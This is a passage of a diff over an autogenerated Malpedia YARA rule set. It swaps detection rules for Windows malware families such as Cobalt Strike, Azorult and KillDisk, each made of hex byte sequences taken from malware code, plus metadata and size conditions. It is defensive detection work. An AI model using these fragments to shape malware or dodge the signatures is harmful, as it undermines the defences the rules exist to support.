-		$sequence_7 = { ff7508 8bcf 56 ffb754010000 6a04 e8???????? 83c410 }
-		$sequence_8 = { e8???????? 85c0 7419 6a14 8d500c 8d4de0 e8???????? }
-		$sequence_9 = { e8???????? 8b4514 660fbe00 0fb7c0 50 6a01 e8???????? }
+		$sequence_0 = { 03c7 3bca 72ed 5f }
+		$sequence_1 = { c6025e eb12 c6022f eb0d }
+		$sequence_2 = { 8b442430 488d8c2471110000 33d2 41b803010000 }
+		$sequence_3 = { 0401 3cbe 8844240b 76e2 }
+		$sequence_4 = { 03ce c6840c3801000000 8d8424a05c0000 33f6 }
+		$sequence_5 = { 033485c0e54200 c745e401000000 33db 395e08 }
+		$sequence_6 = { 488d15d9d20000 488bcb e8???????? 85c0 750a 4883c310 }
+		$sequence_7 = { 00686c 42 0023 d18a0688078a }
+		$sequence_8 = { 4488a424300d0000 488905???????? e8???????? 4c8d1d5cd40100 498bcc }
+		$sequence_9 = { eb62 c6023d eb5d c6025f eb58 c6023a }
+		$sequence_10 = { 03c1 1bc9 0bc1 59 e9???????? e8???????? ff742404 }
+		$sequence_11 = { 41c1c90d 8bca 4983c201 4403c8 493bc8 }
+		$sequence_12 = { 033485c0e54200 8b45e4 8b00 8906 }
+		$sequence_13 = { 030495c0e54200 eb05 b8???????? f6400420 }
+		$sequence_14 = { 33d2 41b803010000 4488a42470110000 488905???????? e8???????? }
+		$sequence_15 = { 3c58 7711 480fbec5 428a8c10507c0200 83e10f eb03 }
 
 	condition:
-		7 of them and filesize <3915776
+		7 of them and filesize <434176
 }
-rule MALPEDIA_Win_Ruckguv_Auto : FILE
+rule MALPEDIA_Win_Cobalt_Strike_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "70c59136-1542-5cb3-8c7d-52dba7e0bc40"
+		id = "fe16365e-18f7-5cb3-91e7-4778fbcc5b82"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ruckguv_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cobalt_strike_auto.yar#L1-L157"
 		license_url = "N/A"
-		logic_hash = "a64635c0a8f169255c2ded62c13acd231a3b9a4460e9b10acd2e149c6348dd85"
+		logic_hash = "e575d34f1fe7007aa1601e291288f1136cef68df0b3f455e03eabc3d825e94fe"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131602,32 +138818,38 @@ rule MALPEDIA_Win_Ruckguv_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7403 51 eb04 0fb7c0 50 ff7508 }
-		$sequence_1 = { 56 53 e8???????? 8b463c 68f8000000 }
-		$sequence_2 = { ff75fc 8d85b0f7ffff 50 ff75f4 }
-		$sequence_3 = { 59 894508 85c0 750f 8b470c }
-		$sequence_4 = { 85c0 0f848b000000 57 8d3c18 8b470c 85c0 }
-		$sequence_5 = { 8a0a 84c9 75f1 c3 682680acc8 }
-		$sequence_6 = { 83c0c0 50 8d4640 50 8d4340 }
-		$sequence_7 = { 68dff0f081 6a01 e8???????? 83c40c 8d8d9cfdffff 51 ffd0 }
-		$sequence_8 = { 6880000000 6a03 56 56 53 }
-		$sequence_9 = { 59 59 ff742404 ffd0 c3 6831f478b7 }
+		$sequence_0 = { 3bc7 750d ff15???????? 3d33270000 }
+		$sequence_1 = { e9???????? eb0a b801000000 e9???????? }
+		$sequence_2 = { eb06 0fb6c0 83e07f 85c0 745a }
+		$sequence_3 = { eb68 8b45d4 8b482c 894de0 8b45e0 }
+		$sequence_4 = { ff35???????? ffd6 5e e9???????? 55 }
+		$sequence_5 = { eb4e 83f824 7f09 c745f403000000 }
+		$sequence_6 = { ff761c 83c004 e8???????? 59 59 83f8ff }
+		$sequence_7 = { f3a6 744c 8bf0 6a03 bf???????? 59 }
+		$sequence_8 = { 85c0 741d ff15???????? 85c0 7513 }
+		$sequence_9 = { e9???????? 833d????????01 7505 e8???????? }
+		$sequence_10 = { 8bd0 e8???????? 85c0 7e0e }
+		$sequence_11 = { 85c0 7405 e8???????? 8b0d???????? 85c9 }
+		$sequence_12 = { f3c3 cc 488bc4 48895808 48896810 48897018 }
+		$sequence_13 = { c1e903 ffc1 03c1 3d80000000 }
+		$sequence_14 = { 49ffc7 413bcc 72e9 41894d00 }
+		$sequence_15 = { 48895c2448 48895c2440 4889442438 498b06 }
 
 	condition:
-		7 of them and filesize <41024
+		7 of them and filesize <1015808
 }
-rule MALPEDIA_Win_Grey_Energy_Auto : FILE
+rule MALPEDIA_Win_Rambo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4a36cbdc-dd01-583b-ac49-dd33a3c83ba9"
+		id = "9952c16f-0ad8-5b79-a375-78c277443f5b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grey_energy_auto.yar#L1-L164"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rambo_auto.yar#L1-L172"
 		license_url = "N/A"
-		logic_hash = "48bebd474d43043ec7179ca6aa1110529eaa285ee6fd70578731385cb5b6f92e"
+		logic_hash = "289c05fe82444eba5e21e680847ee18f8bd6fcd3320474143e269d581daca21f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131641,39 +138863,38 @@ rule MALPEDIA_Win_Grey_Energy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6800000008 57 53 53 }
-		$sequence_1 = { e8???????? 68???????? 8945cc e8???????? 68???????? 8945d4 e8???????? }
-		$sequence_2 = { 53 53 6800000008 57 }
-		$sequence_3 = { 8945d4 e8???????? 68???????? 8945d0 e8???????? }
-		$sequence_4 = { 0345f0 0fbe08 8b45f0 33d2 }
-		$sequence_5 = { 81e1ff000000 8b45ec 8b55f8 66890c42 }
-		$sequence_6 = { 8b45f8 0345ec 8808 eb10 }
-		$sequence_7 = { 8b55f0 8b7508 668b1456 66891441 }
-		$sequence_8 = { 66890c42 eb14 8b45ec 8b4df8 }
-		$sequence_9 = { 53 ff15???????? 8b75f8 85f6 }
-		$sequence_10 = { 8b4d08 0fb70c41 8b45f0 33d2 }
-		$sequence_11 = { 50 6a40 ff15???????? 8945f8 837df800 7507 }
-		$sequence_12 = { 837df800 7507 33c0 e9???????? c745f004000000 }
-		$sequence_13 = { 7407 c60100 41 48 75f9 ff75f8 }
-		$sequence_14 = { 48 75fa 56 ff15???????? ff75f8 }
-		$sequence_15 = { 57 ff75e8 ff75f0 ffd6 }
-		$sequence_16 = { e8???????? 8b4508 3bc7 7430 57 }
+		$sequence_0 = { ff7508 e8???????? 59 50 ff7508 ff15???????? 56 }
+		$sequence_1 = { e8???????? ff750c 8d85ecfdffff 50 e8???????? }
+		$sequence_2 = { ff15???????? 83c41c 6a01 58 5e c9 }
+		$sequence_3 = { 85f6 7437 56 6a01 }
+		$sequence_4 = { ff7508 8d85f8feffff 50 e8???????? 8065fe00 8d45fc 50 }
+		$sequence_5 = { 83c428 6a32 ff15???????? 8d85f8faffff 50 68???????? }
+		$sequence_6 = { 56 57 8d85f8faffff 6a01 50 ff15???????? 80a43df8faffff00 }
+		$sequence_7 = { 50 8d85f8feffff 50 c645fc72 }
+		$sequence_8 = { 756b 57 b940000000 8d7c240d 8844240c f3ab }
+		$sequence_9 = { f3aa 8bcb 8d7c2474 8bc1 }
+		$sequence_10 = { e8???????? 8d4c2410 c684240004000007 e8???????? 68b6000000 8d542414 }
+		$sequence_11 = { 8d8c2488000000 e8???????? 57 57 8d4c2424 }
+		$sequence_12 = { e8???????? 8d4c2428 c684240004000005 e8???????? 8d4c2414 c684240004000004 }
+		$sequence_13 = { 8b35???????? a3???????? ffd6 3db7000000 7418 }
+		$sequence_14 = { 89442418 8b4309 84c9 7403 50 }
+		$sequence_15 = { f3a5 8bcb 8d9424f8020000 83e103 f3a4 bf???????? 83c9ff }
 
 	condition:
-		7 of them and filesize <303104
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Azorult_Auto : FILE
+rule MALPEDIA_Win_Boaxxe_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b51dfae0-9dbd-5fdb-9b21-c42d24abe8fe"
+		id = "d2861d72-2434-5a6e-bbf4-9290c68bd235"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.azorult_auto.yar#L1-L156"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.boaxxe_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "57462241e7f147f9f02722e7f4f98394823c33b074e00b1372b7118c997d7f9f"
+		logic_hash = "232a66e4610caa68487a07fb0b6c51bc622cacc6954ed1eec17df693514e555a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131687,38 +138908,32 @@ rule MALPEDIA_Win_Azorult_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ba???????? 8d45e8 e8???????? 8d45e4 8b55f8 8a543201 }
-		$sequence_1 = { e8???????? 56 8d85a0fdffff b9???????? }
-		$sequence_2 = { b9???????? 8b55fc e8???????? 8b859cfdffff e8???????? }
-		$sequence_3 = { b80f270000 e8???????? 8945f8 8d55f4 8bc3 }
-		$sequence_4 = { b80f270000 e8???????? 8bf0 b80f270000 }
-		$sequence_5 = { 7518 56 8b45fc e8???????? 8bc8 8d5301 }
-		$sequence_6 = { b80f270000 e8???????? 8bd8 b80f270000 }
-		$sequence_7 = { ba03000000 e8???????? 8d858cfdffff e8???????? }
-		$sequence_8 = { 7506 ff05???????? 56 e8???????? 59 }
-		$sequence_9 = { e8???????? 59 8b45f4 40 }
-		$sequence_10 = { 50 e8???????? 59 8bd8 33c0 }
-		$sequence_11 = { 85db 7404 8bc3 eb07 }
-		$sequence_12 = { 011f 59 8bc3 c1e003 01866caf0100 }
-		$sequence_13 = { 014f18 8b4714 85c0 0f854e010000 }
-		$sequence_14 = { 014110 5f 5e 5b }
-		$sequence_15 = { 01590c 8b45f0 014110 5f }
+		$sequence_0 = { b904000000 e8???????? 8d55c4 66b8c503 e8???????? 8b55c4 a1???????? }
+		$sequence_1 = { 0f8c88000000 8d4df4 8b55f8 8b45f8 e8???????? 8b55f4 8d45f8 }
+		$sequence_2 = { 83c220 8d45f8 e8???????? 8d45f8 e8???????? 8945f4 8b45f4 }
+		$sequence_3 = { 33c0 55 68???????? 64ff30 648920 8bcb b230 }
+		$sequence_4 = { 85db 7410 8b55f4 8b45ec 8bcb e8???????? }
+		$sequence_5 = { 8b45cc e8???????? 8bd8 891d???????? 891d???????? 8d45c8 50 }
+		$sequence_6 = { 01d0 c1e003 8b803c58bc6d 8945ec e9???????? 837de808 }
+		$sequence_7 = { a1???????? e8???????? 8bd0 53 8bc2 e9???????? 33c0 }
+		$sequence_8 = { 0342fc 8945ec 8b45f8 8b00 8b5508 0342fc 8945f0 }
+		$sequence_9 = { b808000000 e8???????? 8b55f8 58 e8???????? 7504 33db }
 
 	condition:
-		7 of them and filesize <1753088
+		7 of them and filesize <1146880
 }
-rule MALPEDIA_Win_Killdisk_Auto : FILE
+rule MALPEDIA_Win_Taintedscribe_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fd586ea1-d41c-50af-ab00-4c3fd6d8b593"
+		id = "62c390fd-70d7-5d2c-ab35-2685bb241f72"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.killdisk_auto.yar#L1-L172"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.taintedscribe_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "5e0faf26e496f52d500cc74a0d402009c944ca198565834d2511070577fb34d3"
+		logic_hash = "9db61e016991abab1a5db24c238ca36eb7d715a36997cda629b6ade68b20e5c3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131732,38 +138947,32 @@ rule MALPEDIA_Win_Killdisk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4604 7204 8b08 eb02 8bc8 66891c51 }
-		$sequence_1 = { 0f8424020000 8d4c245c b8???????? 8d642400 668b10 }
-		$sequence_2 = { 881438 e8???????? 9c c6442408cf 894508 e9???????? }
-		$sequence_3 = { 88742408 c70424ba7bbfa4 660fbae408 662dca11 e8???????? 881438 e8???????? }
-		$sequence_4 = { 83c40c 68???????? 68e08fc201 e8???????? 8bf0 }
-		$sequence_5 = { 8f44241c c64424148e c644240426 e8???????? 4e e8???????? 54 }
-		$sequence_6 = { c3 50 ff15???????? 8b8c24d41a0000 }
-		$sequence_7 = { 872d???????? 0fc1c2 89e2 66d3c9 66d3c0 }
-		$sequence_8 = { e8???????? 84c0 751a a1???????? 50 6802000080 }
-		$sequence_9 = { b001 5e 59 c3 837f1800 7413 }
-		$sequence_10 = { e8???????? 83c420 6a00 8d442414 }
-		$sequence_11 = { 46 66892c24 9c 8d64244c e9???????? 9c 9c }
-		$sequence_12 = { 9c 8d642430 e9???????? ff742404 66894500 }
-		$sequence_13 = { 8d642454 e9???????? 880424 8774242c 9c 68a12348dd e8???????? }
-		$sequence_14 = { 66897c240c 882c24 c64424044f 8d642454 e9???????? }
-		$sequence_15 = { 56 e8???????? c1f805 56 8d3c85a098c201 }
+		$sequence_0 = { 8bc8 8b858cf7ffff 83e103 6a02 f3a4 6a00 }
+		$sequence_1 = { 8d4ddc 898db8fcffff 8bcf 0facd108 }
+		$sequence_2 = { 8b5358 898d88fbffff 8b4b50 0f94c0 }
+		$sequence_3 = { 85c0 7405 8b4d98 8908 85db }
+		$sequence_4 = { 894e3c 894e44 895648 33c0 5e 8b4dfc 33cd }
+		$sequence_5 = { 8b4dcc 894308 8b45d0 50 }
+		$sequence_6 = { 42 83fa1c 7cbb 81ff00010000 0f94c1 0fb6c1 68???????? }
+		$sequence_7 = { c68577fbffff01 7507 c68577fbffff00 c78570fbffff08000000 }
+		$sequence_8 = { 83c40c 098658af0100 8d0419 89865caf0100 83f810 }
+		$sequence_9 = { bb01000000 d3e3 33c0 85db 7e1e 8d4900 }
 
 	condition:
-		7 of them and filesize <10817536
+		7 of them and filesize <524288
 }
-rule MALPEDIA_Win_Zitmo_Auto : FILE
+rule MALPEDIA_Win_Nagini_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f6f59970-f923-5e51-84d0-3f8e29574b3c"
+		id = "140c68e0-b1a0-5de4-9ceb-f9c4372ec960"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zitmo_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nagini_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "a3b8b6f5916a461447d9c48219b755dccd1a5d708dba30f1dbbe42f800df788f"
+		logic_hash = "3751db8355d7cf68abbb539627fa735abe39bfd76ce94371ffdf9eba2b1cc16c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131777,32 +138986,32 @@ rule MALPEDIA_Win_Zitmo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 03d7 8bde f7de ffb544feffff 53 e8???????? c9 }
-		$sequence_1 = { 55 8bec 81c47cffffff 317588 f7d7 f7df }
-		$sequence_2 = { 23d0 f7d9 8bd6 23d8 }
-		$sequence_3 = { c20400 55 8bec 81c410ffffff }
-		$sequence_4 = { 55 8bec 81c45cffffff 23cb 8bd6 f7d2 }
-		$sequence_5 = { 314dd8 f7d9 48 f7d2 03c1 ffb504ffffff }
-		$sequence_6 = { 4a f7d9 23c6 8bcb 46 }
-		$sequence_7 = { 4f e8???????? 8bca 03f7 e8???????? 23d7 }
-		$sequence_8 = { 81856cffffff36360000 03df f7d1 8bf8 }
-		$sequence_9 = { 6a36 6a36 51 ffb550feffff 6834340000 57 8d4d88 }
+		$sequence_0 = { 0131 1f 0031 1f 003422 0337 }
+		$sequence_1 = { a3???????? eb18 6a00 6a00 6a00 6a00 }
+		$sequence_2 = { 83c408 85c0 0f8510010000 837c242808 8d442414 68???????? }
+		$sequence_3 = { 3422 0536240538 27 06 37 260537260535 230434 }
+		$sequence_4 = { 0a06 1408 0412 06 }
+		$sequence_5 = { 720e 4e 42 0fb606 80b87081420000 74e9 8b5ddc }
+		$sequence_6 = { 668944246c a0???????? 8844246e 8a4701 8d7f01 }
+		$sequence_7 = { 6689442444 0f8238020000 ff74242c e8???????? 83c404 e9???????? }
+		$sequence_8 = { 0f835ffbffff 03f3 03d3 83fb1f 0f8715040000 ff249da0c64000 }
+		$sequence_9 = { b3ac 98 b7b0 9c }
 
 	condition:
-		7 of them and filesize <843776
+		7 of them and filesize <12820480
 }
-rule MALPEDIA_Win_Wipbot_Auto : FILE
+rule MALPEDIA_Win_Gcleaner_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2dc6790b-0815-56da-b4e1-b1ab1c837c71"
+		id = "6f27809a-4a1b-5d62-97c7-de2eeddc46d9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wipbot_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gcleaner_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "b4a431b5982e86b4c79c71104a1485b7ef9ede4d9bcd19d6e305251f54be5168"
+		logic_hash = "7aee09652b701d76a6e86128872cf2cc44b3fc03358e24bd02f64455f78cd161"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131816,32 +139025,32 @@ rule MALPEDIA_Win_Wipbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb05 b8???????? e8???????? 89da 83c9ff e8???????? }
-		$sequence_1 = { 5b 5d e9???????? 5a 31c0 5b 5d }
-		$sequence_2 = { 4c 8d442428 baff010f00 48 89d9 ffd0 48 }
-		$sequence_3 = { b911000000 31c0 c644245e2e 31d2 f3aa c644245f0b c64424601f }
-		$sequence_4 = { 85c0 48 89c6 0f94c2 48 85db 0f94c0 }
-		$sequence_5 = { 8d44245f 88d1 48 01d0 48 ffc2 3208 }
-		$sequence_6 = { eb7d 48 894c2438 e8???????? 01c0 ba9ad65fb0 b98a758b1f }
-		$sequence_7 = { 8d55f4 89542408 8d55f0 c744240c00800000 89542404 c70424ffffffff ffd0 }
-		$sequence_8 = { 89cb b91d000000 c64424222e f3aa c644242379 c644242446 31c0 }
-		$sequence_9 = { 8944240c 8b45a8 83c020 890424 ffd2 85c0 0f9fc0 }
+		$sequence_0 = { 8d8d70feffff 8d45b0 0f4345b0 51 50 }
+		$sequence_1 = { 8bd0 c645fc04 8d4dd8 e8???????? 83c410 }
+		$sequence_2 = { 660fd64010 8345e418 eb10 8d4dc8 }
+		$sequence_3 = { 660fd64610 c742e000000000 c742e40f000000 c642d000 8b42e8 894618 }
+		$sequence_4 = { e8???????? 8d8d60ffffff e8???????? 6a00 6a00 }
+		$sequence_5 = { c642d000 8b42e8 894618 8d42ec 83c61c 3bc7 }
+		$sequence_6 = { eb10 8d4dc8 51 50 }
+		$sequence_7 = { 7438 8035????????2e 8035????????2e 8035????????2e 8035????????2e 8035????????2e 8035????????2e }
+		$sequence_8 = { 52 51 e8???????? 83c408 85ff 0f8807010000 }
+		$sequence_9 = { c645fc02 83fa10 722c 8b4dc8 42 8bc1 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Ehdevel_Auto : FILE
+rule MALPEDIA_Win_Cycbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "df8239a0-64d7-5d90-a037-26c4b02b8a9b"
+		id = "86cbdc6e-7fe8-5962-82c9-3bfe759d3962"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ehdevel_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cycbot_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "959b6347dd7f394fa1dd74e2d5d70bd613b6731b1cc6dbc8f1a7abb3467a3ebd"
+		logic_hash = "0df38e9a7bf0b18ae5c795f617ec217aef7020970864c9cdbebdcaf5c85c3174"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131855,32 +139064,32 @@ rule MALPEDIA_Win_Ehdevel_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 e8???????? e9???????? 33d2 68fe070000 52 8d85feefffff }
-		$sequence_1 = { 7545 56 c70303000000 ff15???????? 56 ff15???????? 68???????? }
-		$sequence_2 = { 8d8dcce7ffff 51 6a00 6813000020 56 c785cce7ffff00000000 c785c8e7ffff04000000 }
-		$sequence_3 = { 8d85f0e7ffff 50 56 6a00 6a10 6a02 ff15???????? }
-		$sequence_4 = { e8???????? 83c404 33c9 6a08 b8???????? }
-		$sequence_5 = { 8d8dd4e5ffff 51 8d95f8f7ffff 6800040000 52 e8???????? }
-		$sequence_6 = { 83c410 8b4d0c 8d442408 50 51 }
-		$sequence_7 = { 83d8ff 85c0 0f84cffdffff 68???????? 6800040000 57 e8???????? }
-		$sequence_8 = { 50 e8???????? 8d8c24d4190000 51 8d9424d8010000 6800040000 52 }
-		$sequence_9 = { 8db564f7ffff e8???????? 33d2 899de8f7ffff 89bde4f7ffff 668995d4f7ffff 33c0 }
+		$sequence_0 = { 59 8b45ec e8???????? c3 6834020000 b8???????? e8???????? }
+		$sequence_1 = { 57 ffb5e8feffff ff15???????? 8bb5ecfeffff 2bf3 f7de 1bf6 }
+		$sequence_2 = { c745dc44eb4300 c745e08ceb4300 c745e40cee4300 c745e820ee4300 c745ec34ee4300 c745f0f4ec4300 c745f4fcec4300 }
+		$sequence_3 = { 8b06 8b4008 89480c 8b06 894808 8b4508 8908 }
+		$sequence_4 = { 59 33c0 8d7dc8 f3ab aa 8d45c8 6a21 }
+		$sequence_5 = { 33c0 8903 894304 57 894308 ff15???????? c70300000000 }
+		$sequence_6 = { 8d854cfbffff 50 8bc7 e8???????? 59 59 57 }
+		$sequence_7 = { ff5108 8d85e0fbffff 50 ff15???????? ff85d8fbffff 39bdb4fbffff }
+		$sequence_8 = { 50 e8???????? 837c241801 59 59 7408 c744241807000000 }
+		$sequence_9 = { b90a0a0000 663b4c07fe 7508 8945fc be01000000 40 }
 
 	condition:
-		7 of them and filesize <524288
+		7 of them and filesize <1163264
 }
-rule MALPEDIA_Win_Tigerlite_Auto : FILE
+rule MALPEDIA_Win_Maggie_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aa691ec3-b883-5f5c-8994-9e33da37724e"
+		id = "d5276a3c-46d0-5873-87dd-9d6cf0c2cf8b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tigerlite_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maggie_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "fcf8f4ae129308f814ca77b619fbfadd3ec5da4949cb79481c9fac330ba09f68"
+		logic_hash = "41d76bd3fbb547d408b10f3113f1f0a7db8f68879c6d91dc7c6cf7b7ea8b4803"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131894,38 +139103,32 @@ rule MALPEDIA_Win_Tigerlite_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1f805 83e71f c1e706 8b0485489d4100 83c00c 03c7 50 }
-		$sequence_1 = { 8b85e0f7ffff 85c0 751d 56 ff15???????? b832000000 5f }
-		$sequence_2 = { 8b8d24e5ffff 50 8b8528e5ffff 8b0485489d4100 }
-		$sequence_3 = { 85c0 740d ff15???????? b8c8000000 eb65 }
-		$sequence_4 = { ff15???????? cc 4c8d4510 488d15bbc80100 }
-		$sequence_5 = { 41b8ff030000 c6859000000000 e8???????? 488d1528bc0100 488d8d90000000 e8???????? }
-		$sequence_6 = { 33c0 8bbdbcfdffff 0fbebcc7f8214100 8bc7 89bdbcfdffff 8bbde4fdffff }
-		$sequence_7 = { 668986b8000000 668986be010000 c7466878874100 83a6b803000000 6a0d e8???????? }
-		$sequence_8 = { 4863c2 4803d8 eb61 4b8b84ea604a0200 42f644300848 743e 48ffc3 }
-		$sequence_9 = { 663955d8 7442 668933 8a45d8 4b8b8cea604a0200 4288443109 }
-		$sequence_10 = { 8b3495489d4100 8a441e04 84c0 0f8957020000 }
-		$sequence_11 = { 488bcb 488bf8 e8???????? 4885ff 0f8405040000 4c8d4530 488d0da1a40100 }
-		$sequence_12 = { 488d4c2440 418bd6 e8???????? e9???????? }
-		$sequence_13 = { b9e5000000 8bd8 83e303 e8???????? }
-		$sequence_14 = { 3bfa 7556 8bcb e8???????? 53 }
-		$sequence_15 = { 8d0c00 894dec eb38 8b45f4 8b0485489d4100 }
+		$sequence_0 = { ff15???????? e8???????? 84c0 74ec e8???????? }
+		$sequence_1 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 f7d8 1bc0 }
+		$sequence_2 = { 83f8ff 750f ff15???????? 2d33270000 f7d8 1bc0 }
+		$sequence_3 = { 750f ff15???????? 2d33270000 f7d8 1bc0 }
+		$sequence_4 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 f7d8 }
+		$sequence_5 = { 83f8ff 750f ff15???????? 2d33270000 f7d8 }
+		$sequence_6 = { b8ff000000 663b05???????? 7505 e8???????? e8???????? 84c0 }
+		$sequence_7 = { 663b05???????? 7505 e8???????? e8???????? 84c0 }
+		$sequence_8 = { 7511 ff15???????? 85c0 7407 33c0 }
+		$sequence_9 = { 7511 ff15???????? 85c0 7407 33c0 e9???????? }
 
 	condition:
-		7 of them and filesize <349184
+		7 of them and filesize <611328
 }
-rule MALPEDIA_Win_Crypt0L0Cker_Auto : FILE
+rule MALPEDIA_Win_Mikoponi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3ca18c92-db73-54b4-928d-eb72333dfc4b"
+		id = "e1f9d663-47fc-536a-afed-a18f76559a32"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crypt0l0cker_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mikoponi_auto.yar#L1-L105"
 		license_url = "N/A"
